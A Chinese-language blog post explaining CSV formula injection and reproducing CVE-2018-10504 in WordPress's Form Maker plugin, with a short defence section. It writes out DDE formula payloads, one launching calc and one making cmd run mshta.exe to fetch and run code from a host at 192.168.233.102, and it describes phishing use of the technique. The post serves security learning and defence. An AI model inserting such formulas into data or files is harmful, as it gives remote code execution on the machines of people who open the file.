1. 程式人生 > 其它 >淺談CSV注入漏洞

淺談CSV注入漏洞

背景

某天在逛expdb時候看到了CSV Injection的exp,在滲透測試的過程中也偶爾會遇到類似的情況,這一漏洞很早之前就出現過,但是很多人沒有意識到漏洞的危害性,於是抱著學習的心態進行了一波漏洞復現和學習。

漏洞介紹

CSV公式注入(CSV Injection)是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV檔案讀取的引數。當在Excel中開啟CSV檔案時,檔案會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函式有合法意圖時,很易被濫用並允許惡意程式碼執行。

漏洞原理

人們通常認為CSV或xls檔案中包含的文字不會有任何安全風險,這是比較大的一個誤區。首先我們建立一個Excel檔案,將其中一格內容修改為=36+1

儲存之後看到如下結果,公式正常計算:

雖然單元格的內容在引號內,但由於第一個字元是=,它以一個表示式的形式被處理,實際上包括= - + @這樣的符號都會觸發這種行為,正常來說,如果資料量比較大的情況下,管理員一般不會花那麼多時間去一個個檢查輸入內容是否正常。(emmm正常人可能都不會這麼幹)

由於表示式就是可以執行的程式碼,所以假如我們把輸入內容修改為:

=1+cmd|' /C calc'!A0

之後點選儲存,然後再次開啟,會看到如下提示:

點選是之後,彈出計算器:

漏洞危害

這類漏洞通常不會針對於專業的網路安全人員,畢竟是個搞安全的都知道cmd不要隨便啟用,但是對於大部分人來說,尤其是正常的企業員工,往往會忽視問題的嚴重性,可能隨手就點了個是,因此這類漏洞一種利用方式可以用於釣魚,另一種也和釣魚類似,需要網站後臺存在匯出excel功能,攻擊者通過汙染資料,當管理員或者其他使用者需要用到匯出excel功能時,被汙染的資料被一起匯出,當開啟該檔案時並且忽略告警提示點了是,一起完美的攻擊就完成了。

漏洞復現

漏洞復現採用了CVE-2018-10504,也就是wordpress的Form Maker 外掛的csv注入漏洞。PoC可參考:

https://www.exploit-db.com/exploits/44559

首先下載安裝該外掛:

安裝後在功能欄就能看到:

我們這邊用有兩個使用者admin和sunshine:

登入sunshine使用者,使用Form Maker提交如下資訊:

+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0

後臺可以看到資料已經被汙染了:

admin使用者登入,開啟Form Maker–Submissions–Contact US–Export to CSV

開啟會有這樣的安全提示:

預設啟用和點選是之後就能看到機器上線了:

漏洞防護

對於網站來說,比較合理的防禦方式是對輸入輸出特殊字元進行編碼;對於平時常規檔案的傳遞中,只能儘量為員工做好相關的安全意識培訓來做相關的防範。